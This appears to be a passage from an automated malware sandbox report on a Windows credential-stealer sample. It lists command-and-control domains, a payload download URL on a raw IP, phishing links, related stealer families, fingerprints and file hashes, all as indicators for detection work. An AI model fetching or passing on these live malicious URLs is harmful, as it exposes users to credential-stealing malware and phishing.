https://atten-supporse.biz/apidnv	file.exe, 00000000.00000003.2084946354.000000000117C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://atten-supporse.biz/t	file.exe, 00000000.00000003.2084946354.000000000117C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000002.2418639442.0000000001180000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_123.5.dr	false		high
https://atten-supporse.biz/	file.exe, 00000000.00000003.2131254733.00000000057FC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2059744536.0000000001162000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2132308897.00000000057FC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2132075548.00000000057FC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2180877027.0000000005819000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2262117098.0000000005819000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2261626946.0000000005816000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085113656.000000000117E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2261833486.0000000001183000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2130601530.000000000581B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2160226481.0000000001182000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2084946354.000000000117C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2157871926.0000000005819000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2158368253.000000000117E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2197734185.000000000581B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2157912087.00000000011CB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2157815281.0000000005816000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2160312478.0000000001183000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2180819004.00000000011CD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/r	file.exe, 00000000.00000003.2197734185.000000000581B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://channel9.msdn.com/	chromecache_115.5.dr, chromecache_101.5.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2085523465.00000000057BA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085406782.00000000057BD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085458317.00000000057BA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/apio%hX	file.exe, 00000000.00000003.2197686261.00000000011DF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2197835920.00000000011E2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/try	chromecache_115.5.dr, chromecache_101.5.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.16.1	atten-supporse.biz	United States	13335	CLOUDFLARENETUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1572097
Start date and time:	2024-12-10 05:46:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/71@11/5
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.214.172, 192.229.221.95, 184.30.17.189, 172.217.21.35, 172.217.17.46, 173.194.222.84, 2.20.41.214, 172.217.17.78, 40.74.98.192, 2.19.198.56, 23.32.238.130, 142.250.181.138, 172.217.19.10, 142.250.181.10, 172.217.17.42, 172.217.19.234, 172.217.19.202, 172.217.21.42, 142.250.181.106, 172.217.17.74, 142.250.181.74, 13.74.129.1, 13.107.21.237, 204.79.197.237, 172.217.17.35, 172.217.19.206, 20.12.23.50, 13.107.246.63, 184.30.17.174
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, onedscolprdjpw00.japanwest.cloudapp.azure.com, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, dual-a-0034.a-msedge.net, clients.l.google.co
Execution Graph export aborted for target file.exe, PID 5812 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
23:47:00	API Interceptor	48x Sleep call for process: file.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "Yes", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The brand 'Microsoft' is a well-known global technology company.", "The URL 'learn.microsoft.com' is a subdomain of 'microsoft.com', which is the legitimate domain for Microsoft.", "There are no suspicious elements in the URL such as misspellings or unusual domain extensions.", "The subdomain 'learn' is commonly used for educational or documentation purposes, which aligns with Microsoft's services." ], "riskscore": 1}
URL: learn.microsoft.com Brands: Microsoft Input Fields: unknown

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.16.1	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
104.21.16.1	file.exe	Get hash	malicious	LummaC Stealer	Browse
239.255.255.250	http://842991738.747100519.128322614.784396125.visitorchecking.ru/?ws=628584733.299643379.127950398.351850602	Get hash	malicious	Unknown	Browse
	https://businessnotice.org/dhl/22450156620/tracking?u=84775-c0bf6be57168918ea5fe039631be6c3a772f4fac11292328fca4a210ba0e8890	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	http://email.edms.trackingmore.com/c/eJx0zrFuhDAMgOGnCWPE2YHAkKELr4FsxwF05EBJWun69JU6den8D_8XQz88mKXT8PCICDi6udsDJB44oUuePHiZGCABe0UvMAlP3RGGSSHOI4w--d7NiUdBAlQPKglkNq7Pb9sKyfN4bfkqauXK3Rn21m6DHwYWA0usZKlGu50X03lT2-tOJ1mNn_Z1G1hK7PJ7zVorbboe8Y9z_T7kWS7W0tD1xvVbpuP8vZTwf_sK8BMAAP__3p9Nvw#4UjjVf19156dXgi477henjyiztuh1607QELNKWKBNFUHFFI32RLCJ32096s9/84502vqz	Get hash	malicious	Phisher	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	https://sgwarch-my.sharepoint.com/:f:/p/setup1/EiozDTFdgcdOj57XSlxa0wgB_yucGXpVtBz0YeRUUS4djA?e=J1BMm6&xsdata=MDV8MDJ8bG9nYW5AaG9sdHhwLmNvbXw4NzViY2I1MjBhNzQ0NjAxMGYxODA4ZGQxODZlODVlN3w0Y2NhZDYyOTg3ZWM0MmRmOTU3YTYxMmI0OTU2YmE3NXwwfDB8NjM4NjkzNTg1MTc0NTY1ODEyfFVua25vd258VFdGcGJHWnNiM2Q4ZXlKRmJYQjBlVTFoY0draU9uUnlkV1VzSWxZaU9pSXdMakF1TURBd01DSXNJbEFpT2lKWGFXNHpNaUlzSWtGT0lqb2lUV0ZwYkNJc0lsZFVJam95ZlE9PXwwfHx8&sdata=cmt5N3BwOXR0VGIwbDEyNWFnZmRKYVBMMzhQVUJ4bmJpNnppZGtydXJjST0%3d	Get hash	malicious	HTMLPhisher	Browse
	http://842991738.747100519.128322614.784396125.visitorchecking.ru/?ws=628584733.299643379.127950398.351850602	Get hash	malicious	Unknown	Browse
	CLDownloader.exe	Get hash	malicious	XWorm	Browse
185.215.113.16	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
atten-supporse.biz	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.64.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.64.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.32.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.16.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.80.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	104.21.32.1
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	104.21.80.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.80.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.112.1
s-part-0035.t-0009.t-msedge.net	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	https://sgwarch-my.sharepoint.com/:f:/p/setup1/EiozDTFdgcdOj57XSlxa0wgB_yucGXpVtBz0YeRUUS4djA?e=J1BMm6&xsdata=MDV8MDJ8bG9nYW5AaG9sdHhwLmNvbXw4NzViY2I1MjBhNzQ0NjAxMGYxODA4ZGQxODZlODVlN3w0Y2NhZDYyOTg3ZWM0MmRmOTU3YTYxMmI0OTU2YmE3NXwwfDB8NjM4NjkzNTg1MTc0NTY1ODEyfFVua25vd258VFdGcGJHWnNiM2Q4ZXlKRmJYQjBlVTFoY0draU9uUnlkV1VzSWxZaU9pSXdMakF1TURBd01DSXNJbEFpT2lKWGFXNHpNaUlzSWtGT0lqb2lUV0ZwYkNJc0lsZFVJam95ZlE9PXwwfHx8&sdata=cmt5N3BwOXR0VGIwbDEyNWFnZmRKYVBMMzhQVUJ4bmJpNnppZGtydXJjST0%3d	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	13.107.246.63
	https://www.google.com.hk/url?q=KWUZMS42J831JSWOSF4KEIP36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS%25RANDOM4%25wDnNeW8yycT&sa=t&esrc=nNeW8F%25RANDOM3%25A0xys8Em2FL&source=&cd=tS6T8%25RANDOM3%25Tiw9XH&cad=XpPkDfJX%25RANDOM4%25VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fjvsimmigration.com/c/efcfa9e5f8b2f41713ea899643a31954/YnJ1Y2VwQGxlc21hbi5jb20=	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	http://842991738.747100519.128322614.784396125.visitorchecking.ru/?ws=628584733.299643379.127950398.351850602	Get hash	malicious	Unknown	Browse	104.21.25.129
	https://businessnotice.org/dhl/22450156620/tracking?u=84775-c0bf6be57168918ea5fe039631be6c3a772f4fac11292328fca4a210ba0e8890	Get hash	malicious	Unknown	Browse	104.17.245.203
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.64.1
	http://email.edms.trackingmore.com/c/eJx0zrFuhDAMgOGnCWPE2YHAkKELr4FsxwF05EBJWun69JU6den8D_8XQz88mKXT8PCICDi6udsDJB44oUuePHiZGCABe0UvMAlP3RGGSSHOI4w--d7NiUdBAlQPKglkNq7Pb9sKyfN4bfkqauXK3Rn21m6DHwYWA0usZKlGu50X03lT2-tOJ1mNn_Z1G1hK7PJ7zVorbboe8Y9z_T7kWS7W0tD1xvVbpuP8vZTwf_sK8BMAAP__3p9Nvw#4UjjVf19156dXgi477henjyiztuh1607QELNKWKBNFUHFFI32RLCJ32096s9/84502vqz	Get hash	malicious	Phisher	Browse	104.21.77.48
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.64.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.32.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.16.1
	la.bot.mips.elf	Get hash	malicious	Mirai	Browse	162.159.25.122
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	Updates.bat	Get hash	malicious	Abobus Obfuscator	Browse	172.65.251.78
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	CLDownloader.exe	Get hash	malicious	XWorm	Browse	23.1.237.91
	8GHb2yuPOk.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	23.1.237.91
	securedoc_20241209T071703.html	Get hash	malicious	Unknown	Browse	23.1.237.91
	clipboardmasterinst.exe	Get hash	malicious	Unknown	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC Stealer	Browse	23.1.237.91
	https://inboxsender.gxsearch.club/redir6/serial.php	Get hash	malicious	Unknown	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC Stealer	Browse	23.1.237.91
	IABrPTTzHo.exe	Get hash	malicious	Unknown	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC Stealer	Browse	23.1.237.91
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.1.237.91
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.16.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.16.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	104.21.16.1
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	104.21.16.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 10 03:47:36 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9783224813561566
Encrypted:	false
SSDEEP:	48:867dWTSOpH+idAKZdA19ehwiZUklqehuy+3:8bbqFy
MD5:	CE757DD8920EF5135681A0E5E3348903
SHA1:	6B6D77CDB4CE1FC65846566503A4D3613D8D2506
SHA-256:	74849B6F871E33DCA731DCCECCD95539E802518FF5F8BF89307853FEB2D89687
SHA-512:	7E6243880816B3080A50F03B956B62D375C86C91ED41DA957BF29DAE075F4F36C8511B47DABB86B724364007048F128E57105AB107B2DF1C31E7E53E0669DD89
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....V...J..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.%....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.%....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.%....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.%..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.%...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........H..A.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 10 03:47:35 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9963882379767846
Encrypted:	false
SSDEEP:	48:8UdWTSOpH+idAKZdA1weh/iZUkAQkqeh1y+2:89bg9Q8y
MD5:	AAAD962DFC1B3A29D85CDF2E4C3771D0
SHA1:	D4784136E4EE155921375842460C155970606936
SHA-256:	A148667F5173A790C863F5D31AE0FBFAB70DAEA0305F31CFF253118B76FCC616
SHA-512:	80626BD0E26F9C87FB2E0B6558D82FF870F52C6A28D9F9AAAC2E74094921A4B3D5EDCC41BA098A6147019196259C77584A510715936B4D91063B3E5B1F31F59A
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....'....J..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.%....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.%....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.%....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.%..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.%...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........H..A.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.005645300400907
Encrypted:	false
SSDEEP:	48:8x/dWTSOsH+idAKZdA14tseh7sFiZUkmgqeh7sLy+BX:8xMbvnZy
MD5:	DC69BA87E24C7C196BC5B12ACCB9F25B
SHA1:	97E7AB1EFBC6CA4A7A0F54B07B782DA956524926
SHA-256:	897C6ED93116778095B2A092CA957F822B91D9A6E7E52C90C9F788E23131DD5E
SHA-512:	5D6E3DB6A34A2C3F4C740C5E1FA76D8BD43DBDBEEB51253B98CE3C1FD9F1D35C76FB55E8DA99A71650F97035814902DBF303FBBA30784A5E03564ECE97730275
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.%....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.%....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.%....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.%..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........H..A.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 10 03:47:35 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9930250434128673
Encrypted:	false
SSDEEP:	48:8bdWTSOpH+idAKZdA1vehDiZUkwqehBy+R:8wbrTy
MD5:	6F955B4F19405BAF044FF86C5EBA1A8D
SHA1:	F3F2FA9E6451FAB88C811F9FBAFBC7597CE170E3
SHA-256:	9C7A09D30E2E6F9E81AAF2EF30AE3EE1150B701824FC2424B0D7B0F07F2217C5
SHA-512:	83C24CDA9E35A86E6C6CDC77C8793D58460AE2845D51EEA5776DCB76477BD4086167D49184C7BBDADB5A112B51FC988112ED1776825835CB660EA641F6F00D50
Malicious:	false
Reputation:	low
